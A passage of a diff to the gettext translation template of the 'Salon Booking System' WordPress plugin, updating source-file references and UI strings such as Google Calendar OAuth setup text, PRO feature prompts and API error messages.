build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_documentation.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_documentation.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_documentation.php:60\n-msgid \"Are you satisfied with Salon Booking System? Consider to leave a 5 stars rating on wordpress.org\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:463\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:463\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:26\n+msgid \"From date.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_documentation.php:61, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_documentation.php:61, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_documentation.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_documentation.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_documentation.php:61\n-msgid \"Let's rate\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:483\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:483\n+msgid \"From time.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_documentation.php:68, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_documentation.php:68, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_documentation.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_documentation.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_documentation.php:68\n-msgid \"Show detailed information during checkout\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:62\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:62\n+msgid \"From:\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_documentation.php:69, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_documentation.php:69, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:69, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_documentation.php:69, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_documentation.php:69, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_documentation.php:69\n-msgid \"Only admin will see it.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44\n+msgid \"Full\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_documentation.php:81, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_documentation.php:81, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_documentation.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_documentation.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_documentation.php:81\n-msgid \"Enable SLN Worker role\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:40\n+msgid \"Full mobile workflow\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:221\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:221\n+msgid \"Full payment reporting & analytics\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:13\n+msgid \"General\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_gcalendar.php:9, views\u002Fsettings\u002Ftab_gcalendar.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:13\n-msgid \"Google Calendar settings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:77\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:77\n+msgid \"General Settings\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_gcalendar.php:21, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:21, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:21\n-msgid \"Synchronize your reservation on your Google Calendar account.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:21\n+msgid \"Generate\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_gcalendar.php:22, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:22, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:22\n-msgid \"Google Calendar enabled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:54\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:54\n+msgid \"Get 15% discount\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_gcalendar.php:23, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:23, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:23\n-msgid \"Google Calendar disabled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:19\n+msgid \"Get access to all PRO features\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_gcalendar.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:32\n-msgid \"When active even the \\\"Payment pending\\\" reservation need to be published on Google Calendar.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:20\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:20\n+msgid \"Get access to Mobile Web App\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_gcalendar.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:33\n-msgid \"Enabled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:512\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:512\n+msgid \"\"\n+\"Get access to premium payment gateways, SMS notifications, advanced reports, \"\n+\"and more with our professional plans.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_gcalendar.php:34, views\u002Fsettings\u002Ftab_payments_pro.php:340, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:34, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:34\n-msgid \"Disabled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:99\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:106\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:112\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:99\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:106\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:112\n+msgid \"Get authorization\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_gcalendar.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:39\n-msgid \"To use this feature you need to generate an OAuth Client ID on Google Developers Console. Click on \\\"i\\\" icon to get more information on this feature.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:484\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:417\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:484\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:417\n+msgid \"Get bookings ids error.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_gcalendar.php:44, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:44, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:44\n-msgid \"Google Client ID\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:349\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:302\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:379\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:255\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:349\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:302\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:379\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:255\n+msgid \"Get categories error.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_gcalendar.php:47, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:47, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:47\n-msgid \"Google Client Secret\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:22\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:22\n+msgid \"Get email priority support\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_gcalendar.php:50, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:50, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:50, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:50, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:50, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:50\n-msgid \"Redirect URI\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:267\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:267\n+msgid \"Get support renewal reminders\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_gcalendar.php:66, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:66, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:66\n-msgid \"Follow these instructions to set-up your Google Calendar feature \u003Cbr \u002F>\u003Cbr \u002F>Whatch this video tutorial: https:\u002F\u002Fscreencast.com\u002Ft\u002FX5UqZLUb\u003Cbr \u002F>\u003Cbr \u002F>1) Go to Google Developer Console\u003Cbr \u002F>https:\u002F\u002Fconsole.developers.google.com\u003Cbr \u002F>\u003Cbr \u002F>2 ) Click on Use Google APIs\u003Cbr \u002F>\u003Cbr \u002F>3 ) Click on Credentials link on left sidebar\u003Cbr \u002F>\u003Cbr \u002F>4 ) click on New Credential > OAuth ID\u003Cbr \u002F>\u003Cbr \u002F>5 ) Select Web application and click \\\"Create\\\"\u003Cbr \u002F>\u003Cbr \u002F>6 ) Set a name for your App ( your website name )\u003Cbr \u002F>\u003Cbr \u002F>7 ) Paste the URL of your website\u003Cbr \u002F>\u003Cbr \u002F>8 ) Copy the Redirect URI from Salon Booking settings > Google Calendar field and paste inside the Authorized redirect URIs field and click \\\"Create\\\". \u003Cbr \u002F>\u003Cbr \u002F>9 ) Copy and paste your Client ID inside Salon Booking settings > Google Calendar > Google Client Secret field and do the same thing with the Client Secret field. Then click on \\\"Update settings\\\". \u003Cbr \u002F>\u003Cbr \u002F>10) Enable Google Calendar and click Update settings - you will be redirected to a Google authorisation page where you need to click on \\\"Allow\\\" button. Then you'll be automatically redirected to the Salon Booking > Google Calendar page. \u003Cbr \u002F>\u003Cbr \u002F>11) Select which  Google Calendar you want to use to publish all the new bookings.\u003Cbr \u002F>\u003Cbr \u002F>Use the \\\"Synchronise booking\\\" button to populate your selected Google Calendar with all current reservations. \u003Cbr \u002F>\u003Cbr \u002F>In case of need you can reset your Google Calendar from all the reservations using the \\\"Delete all Google Calendar Events\\\" button.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:327\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 